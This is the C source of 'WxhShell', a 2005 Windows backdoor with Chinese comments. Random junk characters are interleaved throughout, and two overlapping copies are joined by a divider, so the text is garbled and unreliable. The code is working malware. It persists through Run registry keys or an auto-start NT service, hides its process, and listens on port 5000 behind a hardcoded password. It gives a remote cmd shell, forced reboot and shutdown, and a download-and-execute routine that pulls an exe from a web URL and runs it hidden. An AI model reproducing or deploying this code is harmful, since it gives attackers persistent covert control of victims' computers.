W!Qaa(o? if(NULL == hInst ) return 0; :OEovk(` 5rX_85 ] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l&JV.}qGB8 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3ncL351k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \+iZdZD rS|nO_9 f if (!NtQueryInformationProcess) return 0; IuV7~w NCX`-SLv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >f\$~cp if(!hProcess) return 0; 3*8m!gq7s \&XtPQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c^F@9{I d?6\ CloseHandle(hProcess); ?1afW)`a.v !(H
RP9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vV
PK if(hProcess==NULL) return 0; 8T523VI Q8h0:Q HMODULE hMod; Pt=@U: char procName[255]; /mK."5-cm unsigned long cbNeeded; .ri?p:a}w o;[cApiQ,2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qu`F,OG e'dx
Y( CloseHandle(hProcess); ]H-5 (F+]h]KSi if(strstr(procName,"services")) return 1; // 以服务启动 zE8qU; |s!<vvp] return 0; // 注册表启动 16-1&WuY@ } !n^7&Y[N; z(dDX%k@ // 主模块 Nu,t,&B
int StartWxhshell(LPSTR lpCmdLine) APUpqY { =v !'? SOCKET wsl; f^]^IXzXw. BOOL val=TRUE; n!?^:5=s int port=0; N2uTWT> struct sockaddr_in door; |-Q="7b% k*ZYT6Z? if(wscfg.ws_autoins) Install(); fG"4\A kN g{ port=atoi(lpCmdLine); eW\C@>Ke AMe_D if(port<=0) port=wscfg.ws_port; jJ7 "9 SdXAL WSADATA data; F9J9zs*, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0c
GjOl EUmbNV0u if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -~NjZ=vPh setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k
& 6$S9 door.sin_family = AF_INET; SYYg
2I door.sin_addr.s_addr = inet_addr("127.0.0.1"); WR zIK09@ door.sin_port = htons(port); &Db'}Y?x] GLiD,QX< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R<Uu(-O- closesocket(wsl); y.aeXlc[ return 1; LL%s$>c65A } m?y'Y` lPA:ho/`: if(listen(wsl,2) == INVALID_SOCKET) {
3J}/<&wv closesocket(wsl); zgPUW z
X= return 1; }JM02R~I } i*61i0 Wxhshell(wsl); Tqm)- |[ WSACleanup(); jRBKy8?[C S<o\.&J return 0; )YPut. jmr1e).]; } +5N09$f;R 3e?a$~9 // 以NT服务方式启动 \Lz4ZZjSY VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `ZPV.u/ { i:sb_U+M DWORD status = 0; eMOnzW|h DWORD specificError = 0xfffffff; }&Ul(HR JPM W|JT serviceStatus.dwServiceType = SERVICE_WIN32; Clmz}F serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?{(Jy* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5
8n(fdE serviceStatus.dwWin32ExitCode = 0; !glGW[r/7 serviceStatus.dwServiceSpecificExitCode = 0; xG8z4Yu serviceStatus.dwCheckPoint = 0; w1,6%?p(O serviceStatus.dwWaitHint = 0; 8;fi1 "F;} 1z-Q~m@@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IJ2>\bW_p if (hServiceStatusHandle==0) return; f}:W1&LhI? W~?mr!` status = GetLastError(); K{__rO if (status!=NO_ERROR) +8 }p-<a { (;2]`D [x serviceStatus.dwCurrentState = SERVICE_STOPPED; +`+r\*C5 serviceStatus.dwCheckPoint = 0; ;T|hNsSt serviceStatus.dwWaitHint = 0; tW \q;_DSr serviceStatus.dwWin32ExitCode = status; *k
!zdV serviceStatus.dwServiceSpecificExitCode = specificError; Uq=!>C8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8?[#\KgH1 return; 6B&ERdoX } kWxcB7)uk %R-KkK<S serviceStatus.dwCurrentState = SERVICE_RUNNING; FQO>%=&4 serviceStatus.dwCheckPoint = 0; HyJ&;4rf serviceStatus.dwWaitHint = 0; q/3 )yG6s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); - %`iLu } *:,y`!F=y _Bq [c // 处理NT服务事件,比如:启动、停止 q:3HU< VOID WINAPI NTServiceHandler(DWORD fdwControl) lk%W2N5 { /F_(&H!m switch(fdwControl) q":0\ar&QT { }!1pA5x$ case SERVICE_CONTROL_STOP: ]oE:p serviceStatus.dwWin32ExitCode = 0; B+n(K+ serviceStatus.dwCurrentState = SERVICE_STOPPED; :=2l1Y[-G serviceStatus.dwCheckPoint = 0; . *c%A^> serviceStatus.dwWaitHint = 0; C^9bur/ { la*c/* SetServiceStatus(hServiceStatusHandle, &serviceStatus); (nt= } q|xic>. return; )kt,E}609 case SERVICE_CONTROL_PAUSE: O;SD90 serviceStatus.dwCurrentState = SERVICE_PAUSED; iNEE2BPp break; @WO>F G3 case SERVICE_CONTROL_CONTINUE: {PQ!o^7y serviceStatus.dwCurrentState = SERVICE_RUNNING; DS>qth break; Sj9NhtF]f case SERVICE_CONTROL_INTERROGATE: M|\C@,F]8 break; |s{[<; }; =(]||1. SetServiceStatus(hServiceStatusHandle, &serviceStatus); {on+
;, } Jsw%.< Bw*6X`'Q // 标准应用程序主函数 /]hE?cmj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5 $:
q { YY9Ub ;eiqzdP // 获取操作系统版本 )NCSO b OsIsNt=GetOsVer(); Qhsk09K_=4 GetModuleFileName(NULL,ExeFile,MAX_PATH); L7 g4' U=>4=gsG // 从命令行安装 Z*M-PaU} if(strpbrk(lpCmdLine,"iI")) Install(); sI#r3:?i TptXH? // 下载执行文件 I+FQ2\J*H if(wscfg.ws_downexe) { <:Z-zQp)? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 93fClF|@ WinExec(wscfg.ws_filenam,SW_HIDE); V8IEfU } Q0-}!5`E1$ sA[eKQjaD if(!OsIsNt) { -?PXj)< // 如果时win9x,隐藏进程并且设置为注册表启动 -A;4"" HideProc(); 7?EC
kuSv StartWxhshell(lpCmdLine); 2:Rxyg@' } g@B,0JRh else oK{H
<79 if(StartFromService()) =d`/BDD // 以服务方式启动 n;0x\Q|S StartServiceCtrlDispatcher(DispatchTable); qFg"!w else YDdY'd`* // 普通方式启动 g9oYK StartWxhshell(lpCmdLine); p'`pO"EO N
cnL -k. return 0; r-IG.ym3 } xH/Pw?^ Hsi<!g. Ialbz\;F2% pi?[jU[Tn =========================================== 1)N{!w` XbL\l k=r)kkO) Tv`-h *w_f-YoXp 84UI)nE:Q " Nw|m"VLb }~3 %KHT #include <stdio.h> K_t!P #include <string.h> /ng+IC3 #include <windows.h> \`$RY')9|! #include <winsock2.h> ]eD5It\ #include <winsvc.h>
cnwpd%]o #include <urlmon.h> )3RbD#? 9;k!dM #pragma comment (lib, "Ws2_32.lib") ^lCQHz #pragma comment (lib, "urlmon.lib") F^)SQ%xx )OgQ&,# #define MAX_USER 100 // 最大客户端连接数 D?<R5zp #define BUF_SOCK 200 // sock buffer i%a jL #define KEY_BUFF 255 // 输入 buffer ] f~mR_E <4QOjW #define REBOOT 0 // 重启 T%p/( #define SHUTDOWN 1 // 关机 )i{B:w\ ^ =(U&?1 R4 #define DEF_PORT 5000 // 监听端口 c<J/I_! WG?;Z #define REG_LEN 16 // 注册表键长度 ~Q/G_^U: #define SVC_LEN 80 // NT服务名长度 tW#=St0<.o j/Rm~!q // 从dll定义API ZQQ0} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f}U@e0Lsb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e-.s63hm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "G,$Sqi@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MEZc/Ru-[ @5y ~A}Vd // wxhshell配置信息 hJcN*2\: struct WSCFG { D%=FCmL5@= int ws_port; // 监听端口 g<"k\qs7 char ws_passstr[REG_LEN]; // 口令 e$+/;MRq int ws_autoins; // 安装标记, 1=yes 0=no qqR8E&Y{ char ws_regname[REG_LEN]; // 注册表键名 fR6.:7& char ws_svcname[REG_LEN]; // 服务名 %juR6zB%8 char ws_svcdisp[SVC_LEN]; // 服务显示名 XK7$Xbd char ws_svcdesc[SVC_LEN]; // 服务描述信息 j/+e5.EX/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jaq`A'o5 int ws_downexe; // 下载执行标记, 1=yes 0=no K=`;D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bPHqZ*f char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z 71.* %x G3z7; }; 4fp]z9Y GDUOUl& // default Wxhshell configuration bRzw.(k0`r struct WSCFG wscfg={DEF_PORT, \L@DDK|"`6 "xuhuanlingzhe", a1nj}1M% 1, S66..sa "Wxhshell", {~RS$ | "Wxhshell", b\^q9fy "WxhShell Service", _~_E(rTn "Wrsky Windows CmdShell Service", `[*n UdG "Please Input Your Password: ", Yo$
xz 1, fqcFfz6?x "http://www.wrsky.com/wxhshell.exe", ]sf1+3 "Wxhshell.exe" PfKF!/c
B }; u:FFZ ~-.^eT kP // 消息定义模块 +~~&FO2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m2o)/: char *msg_ws_prompt="\n\r? for help\n\r#>"; ]J%p&y+6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @&G< Np` char *msg_ws_ext="\n\rExit."; ZC\&n4~7 char *msg_ws_end="\n\rQuit."; [c=T)]E1 char *msg_ws_boot="\n\rReboot..."; n6f char *msg_ws_poff="\n\rShutdown..."; @h&crI[c char *msg_ws_down="\n\rSave to "; !u;r<:g! }&{z-/;H char *msg_ws_err="\n\rErr!"; `0qBuE_^h char *msg_ws_ok="\n\rOK!"; Pb(XR+ .h;PMY+ char ExeFile[MAX_PATH]; *+wGXm int nUser = 0; _CDl9pP36# HANDLE handles[MAX_USER]; @Pt,N
qj: int OsIsNt; =oPc\VYW IV5B5Q'D SERVICE_STATUS serviceStatus;
=]auP{AlE SERVICE_STATUS_HANDLE hServiceStatusHandle; |dxcEjcY_ 1 ynjDin< // 函数声明 T1&^IO-F7$ int Install(void); 3Wl,T5}{ int Uninstall(void); ]$VYzE2e int DownloadFile(char *sURL, SOCKET wsh); j.FW*iX1C int Boot(int flag); ?tJyQT void HideProc(void); 2W_p)8t>b int GetOsVer(void); :{ }]$+|)\ int Wxhshell(SOCKET wsl); S|pMX87R void TalkWithClient(void *cs); \~:Uj~ int CmdShell(SOCKET sock); AUk,sCxd int StartFromService(void); ;GgW&*| int StartWxhshell(LPSTR lpCmdLine); =QiVcw,G# )t-Jc+*A> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +?!x;qS^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); m<DiYxK y
;$8C // 数据结构和表定义 WjrUns SERVICE_TABLE_ENTRY DispatchTable[] = CfWtCA { ~baVS-v {wscfg.ws_svcname, NTServiceMain}, mimJ_=]DC {NULL, NULL} 0xe!tA }; tL;!!vg#V 79?%g=#= // 自我安装 EMV<PshW= int Install(void) w!=Fi { p? dXs^ c char svExeFile[MAX_PATH]; I,:R~^qJ8v HKEY key; G q" [5r" strcpy(svExeFile,ExeFile); R6N+c\W
Imi#$bF6 // 如果是win9x系统,修改注册表设为自启动 .[E"Kb}= if(!OsIsNt) { &s|a\!>l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |"Rl_+d7D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b"t<B2N RegCloseKey(key); H)Zb _>iV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xgX"5Czvv` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =deqj^&@ RegCloseKey(key); 9<9 c^2 return 0; >Y h7By } 1%;o-F@ } :UyNa0$l:" } ):Vzv else { I4%p?'i,C 7h3#5Y // 如果是NT以上系统,安装为系统服务 *f? z$46 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gg\805L@ if (schSCManager!=0) BDeX5/`U# { #s!q(Rc SC_HANDLE schService = CreateService q Z,7q ( \1AtBc& schSCManager, epWO}@
b a wscfg.ws_svcname, x*EzX4$x wscfg.ws_svcdisp, _msV3JBr SERVICE_ALL_ACCESS, >|"mhNF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _m
*8f\ SERVICE_AUTO_START, >~g(acH%`x SERVICE_ERROR_NORMAL, ?3{R'Buv] svExeFile, l O)0p2 NULL, ZwV`} 2{ NULL, q]-CTx$ NULL, j#C1+Us NULL, b&y"[1` NULL DRBRs-D ); 4@qKML if (schService!=0) C;T:'Uws { =*AAXNs@3 CloseServiceHandle(schService); y}fF<qih'> CloseServiceHandle(schSCManager); yN0!uzdW* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,<^7~d{{3m strcat(svExeFile,wscfg.ws_svcname); UogkQ& B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c\n&Z'vK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V>{G$(v$ RegCloseKey(key); \8~P3M":c return 0; H9x,C/r, } "71,vUW } w/L^w50pt CloseServiceHandle(schSCManager); |r]f2Mrm } fjE } PJ=N.xf} y;!q E~!3 return 1; `Jvy~T } bN,>,hj aAlES< r // 自我卸载 LIo3a38n?y int Uninstall(void) hdw-ge m{? { (6aSDx
Sc HKEY key; CDy *8<-& 'THcO*< if(!OsIsNt) { 92@/8,[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JYY:~2
RegDeleteValue(key,wscfg.ws_regname); d$3;o&VUNI RegCloseKey(key); wIrjWU2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .HM1c RegDeleteValue(key,wscfg.ws_regname); Y:~A-_ RegCloseKey(key); l1_Tr2A}7/ return 0; UN~dzA~V } +>em
!~3 } hnQDm$k } i/&?e+i else { o]&w"3vOP0 P%#EH2J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +h64idM{U if (schSCManager!=0) 6,ZfC<) { M~0A-*N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }@6/sg
if (schService!=0) `A]CdgA { %uuh+@/&yz if(DeleteService(schService)!=0) { )JO#Z( CloseServiceHandle(schService); 19Cs
3B \4 CloseServiceHandle(schSCManager); (RDY-~#~ return 0; }Htnhom0n } ){AtV&{$ CloseServiceHandle(schService); pJ` M5pF } ]x8_f6;D CloseServiceHandle(schSCManager); h,Y!d]2w } L[]*vj } F:PaVr3q u|!On return 1; 0ssKZ9Lc } &C~R* CQf<En|1 // 从指定url下载文件 9`"o,wGX3 int DownloadFile(char *sURL, SOCKET wsh) tQSj[Yl { Qy)+YhE HRESULT hr; 4%8}vCs char seps[]= "/"; =!axQ[)A char *token; Zz" b&`K char *file; 7}r!&Eb char myURL[MAX_PATH]; ZP@or2No% char myFILE[MAX_PATH]; +d[A'&" *]ROUk@K= strcpy(myURL,sURL); z (N3oBW token=strtok(myURL,seps); QT1(= wK3 while(token!=NULL) }{! #`'s { 1v)X]nW file=token; `EV"
/&` token=strtok(NULL,seps); a@|/D\C } 9Tgl/}q) /5:f[-\s GetCurrentDirectory(MAX_PATH,myFILE); ]L'FYOfrpx strcat(myFILE, "\\"); U({20 strcat(myFILE, file); hEO#uAR^Z send(wsh,myFILE,strlen(myFILE),0); 4H7
3a5f send(wsh,"...",3,0);
-= W" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dXkgWLI~ if(hr==S_OK) :$bp4+3> return 0; |
HkLl^ else f8ap+][ return 1; 2?",2x09 "6T: &> } ;l^4/BR ?;{fqeJz // 系统电源模块 v&6=(k{E@R int Boot(int flag) -mSiZ { _%HpB= HANDLE hToken; r52X}Y TOKEN_PRIVILEGES tkp; '~dE0ohWb Gj[+{ if(OsIsNt) { MA:2]l3e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4_CV.? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /UJ@e tkp.PrivilegeCount = 1; Wvhg:vup tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }uI(D&?+h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A),nkw0X if(flag==REBOOT) { E$$pO.\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mo+mO&B return 0; y-UutI& } r]XXN2[jO else { -29Sw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o8 A]vaa return 0; &*G+-cF } <Tq&Va_w } Rp~#zt9: else { =1dU~B:Lm if(flag==REBOOT) { ~[@Gj{6p0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~<M/<%o2* return 0; sGNVZx } ~|j :xM(i else { 9NH"Ik* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d^"dL" Q6m return 0; #!IezvWf } -*[?E!F
} =AFTB<7-^ b\/:-][ return 1; tK<GU.+ } +k!Y]_&(:f r]x;JBy // win9x进程隐藏模块 &G5=?ub void HideProc(void) N-x~\B! { JHY0J
&4s a:C'N4K HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >*xa\ve if ( hKernel != NULL ) }*!7
Vrep { j1!P:( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b8V]/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Zy7h7P,lT FreeLibrary(hKernel); -+1it } ]Gw? DD|Gn nZF(92v return; b P>!&s_ } 0phO1h]2S) } z4=3' // 获取操作系统版本 B/IPG~aMEZ int GetOsVer(void) !P7##ho0 { o C]tEXJ OSVERSIONINFO winfo; B,SH9, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GW]E,a GetVersionEx(&winfo); zy(i]6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1'5I]D
ec return 1; 0y$aGAUm else sPCp20x:y8 return 0; >uN`q1?l' } \Vis Rd5ni2-nve // 客户端句柄模块 %0]vW;Q5 int Wxhshell(SOCKET wsl) ;!<WL@C~ { Wt +,6Cq SOCKET wsh; aq[ ;[$w struct sockaddr_in client; m1 78S3 DWORD myID; S7-ka{S Jji~MiMn while(nUser<MAX_USER) dhe?7r]u { 9wP_dJvb int nSize=sizeof(client); $!c)%qDq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C24[brf if(wsh==INVALID_SOCKET) return 1; gY AXUM, .p%p _ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ..qAE.%% if(handles[nUser]==0) } d /5_X closesocket(wsh); R9SJ;TsE else '3Ir(]Wfd nUser++; q#W|*kL3 } 7<Fp3N 3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8y}9X v DXlP(={* return 0; E3gR%t } e";r_J3w `BKo`@ // 关闭 socket [GeJn\C_? void CloseIt(SOCKET wsh) T>(nc" ( { `d#l o closesocket(wsh); F]~ rA! g1 nUser--; ScrE tN ExitThread(0); ! /Z{uy } =
GirUW D sDnHd9v<?t // 客户端请求句柄 &sL(|>N void TalkWithClient(void *cs) @;}bBHQz{p { ^(I4Do~} 66<3zadJZU SOCKET wsh=(SOCKET)cs; SCk2D!u char pwd[SVC_LEN]; ~U&,hFSPY char cmd[KEY_BUFF]; aH)$#6${Ap char chr[1]; 3kFOs$3 int i,j; @Md%gEh;& H{'<v|I while (nUser < MAX_USER) { :.['e` 4l2i'H if(wscfg.ws_passstr) { 6#XB'PR2p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ODK$G
[- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y:C7S~ //ZeroMemory(pwd,KEY_BUFF); OKfJ i=0; Y)Y`9u<? while(i<SVC_LEN) { !oeu 4 vwa/? // 设置超时 >{i/LC^S fd_set FdRead; oxE'u< struct timeval TimeOut; ;crQ7}k FD_ZERO(&FdRead); ;bVC7D~~4w FD_SET(wsh,&FdRead); ig:/60Z TimeOut.tv_sec=8; mH>oF| TimeOut.tv_usec=0; U0'> (FP~2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5EDN 9?a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o{yEF1,c\ \1'3--n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (OT /o&cQ pwd=chr[0]; 3*$A;%q if(chr[0]==0xd || chr[0]==0xa) { @'U9*:}U pwd=0; 5Qhu5~,K break; ~dfc } t>|Y-i3cb i++; Go3EWM`Cd8 } {hB7F"S ghm5g/ // 如果是非法用户,关闭 socket y0qrl4S)v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); brJ_q0@ } O(;K]8 hK9Trr wau send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dt)\q^bH) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {dJC3/Rf 6>v`6 while(1) { Vu '/o[nF> pv&:N,p ZeroMemory(cmd,KEY_BUFF); 3o%,8l, @cdd~9w // 自动支持客户端 telnet标准 %3scz)4$ j=0; ^,')1r, while(j<KEY_BUFF) { 'EJ8)2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q=J"#EFs cmd[j]=chr[0]; f7 V3 6Q8 if(chr[0]==0xa || chr[0]==0xd) { ZzLmsTtzIu cmd[j]=0; $8o(_8Q) break; \|nF55W [ } ]kq{9b'; j++; a'f"Zdh%w } . $uvQpyh o^;$-O!/ // 下载文件 6H67$?jMyJ if(strstr(cmd,"http://")) { ^Bn)a"Gd send(wsh,msg_ws_down,strlen(msg_ws_down),0); $.kP7!`:, if(DownloadFile(cmd,wsh)) yC !`6$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); wXp
A1,i else '/U[ ui0{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~n%~ Z|mMF } 5bM/
v else { $j:$
` $u_0"sUV switch(cmd[0]) { !Uz{dFJf; o9G%KO&;D, // 帮助 L ^} Z:I case '?': { 0F-X.Dq send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1C\OL!@L break; S!<YVQq } lxy_O0n // 安装 |t*(]U2O0 case 'i': { t
m?[0@<s if(Install()) n"8vlNeW send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY6DZP else S-{[3$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c^vPd]Ed break; \"B?'Ep; } 7l> |G,[c // 卸载 D].!u{## case 'r': { u
Jy1 vI if(Uninstall()) YO7Y1(` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wr Ht else BDSZ ' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ){`s&? M0 break; Kk1 591' } HQ~`ha. // 显示 wxhshell 所在路径 %JM:4G|q case 'p': { $ysemDq-a\ char svExeFile[MAX_PATH]; $2qZds[ strcpy(svExeFile,"\n\r"); R06L4,/b strcat(svExeFile,ExeFile); )I'?]p< send(wsh,svExeFile,strlen(svExeFile),0); C( 8i0(1 break; G 'IqAKJ } _O)xE9t#ru // 重启 ^;jJVYx-PP case 'b': { [
qt
hn[3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s. I%[kada if(Boot(REBOOT)) vN:gu\^- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe6}y else { k8H@0p closesocket(wsh); '?dO[iQ$: ExitThread(0); iSu7K&X9q } x8k7y: break; .zQ:u{FT } D ]Q,~Y&' // 关机 51j5AbFQ" case 'd': { k#Qav1_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [xzgk[>5 if(Boot(SHUTDOWN)) 1Q\P]
- send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx2?y3pv else { |U{9Yy6p closesocket(wsh); c'cK+32 ExitThread(0);
0$)s? \ } [8|Y2Z\N break; r09gB#K4 } Z`x|\jI // 获取shell +GCN63nX case 's': { &_Kb;UVRj CmdShell(wsh); e$]` closesocket(wsh); K"u-nroHW ExitThread(0); <=.0
P/N break; Pyh+HD\ } MU6|>{ // 退出 Zjqa n case 'x': { )!6JSMS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <T]%Gg8 CloseIt(wsh); '%Og9Bgd+ break; (:9yeP1 } k(LZ,WSR // 离开 HJ#3wk "W case 'q': { ,/0Q($oz send(wsh,msg_ws_end,strlen(msg_ws_end),0); <xM$^r) closesocket(wsh); DfYOGs]@ WSACleanup(); 3ARvSz@5 exit(1); BS3Aczwk break; ,=sbK?& } pde,@0(Fa } q#LB 2M } DUH\/<^g ZK:dhwer // 提示信息 W0e+yIaR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $VEG1]/svp } _|<kKfd? } l-s%3E3 PPoQNW return; k=;>*:D% } p7 s#j kc*zP= // shell模块句柄 )Z6bMAb0'N int CmdShell(SOCKET sock) ZEY="pf { \8j5b+ STARTUPINFO si; q5
eyle6 ZeroMemory(&si,sizeof(si)); #I>
c$dd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i%BrnjX si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cr GFU?8 PROCESS_INFORMATION ProcessInfo; 1B}q?8n char cmdline[]="cmd";
[/dGOl+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &gF*p return 0; xPBSJhla } (al.7VA;9 $+(Df|) // 自身启动模式 b#ga int StartFromService(void) bVfFhfh* { e^v5ai typedef struct UN ;9h9 { &O|!w& DWORD ExitStatus; W,sU5sjA DWORD PebBaseAddress; 8yW 8F26 DWORD AffinityMask; wyzx9`5~d DWORD BasePriority; 2n]UNC ULONG UniqueProcessId; }YV,uJH[ ULONG InheritedFromUniqueProcessId; !`kX</ha. } PROCESS_BASIC_INFORMATION; w+A:]SU Skb,cKU PROCNTQSIP NtQueryInformationProcess; 5L ]TV\\ 8CXZ7 p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B$A`thQp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R-7.q "ijpqI HANDLE hProcess; EY~b,MIL4 PROCESS_BASIC_INFORMATION pbi; 4%! #=JCl (<M^C>pldf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?yAp&Ad if(NULL == hInst ) return 0; +65OR'd )1CYs4lp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )"( ojh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a[e&O&Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [tN^)c`s/ 0*e)_l! if (!NtQueryInformationProcess) return 0; oJ\)-qSf (CUrFZT$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Yr&E_5/ if(!hProcess) return 0; N5W;Zx] b5!\"v4c if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NO$n-<ag |E{tS,{OhJ CloseHandle(hProcess); ]JGh[B1gh FEOr'H<3x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X?6E0/r&9 if(hProcess==NULL) return 0; [^N8v;O 4Cd#S9<ed HMODULE hMod; +f5|qbX/\ char procName[255]; \R!.VL3Tx$ unsigned long cbNeeded; 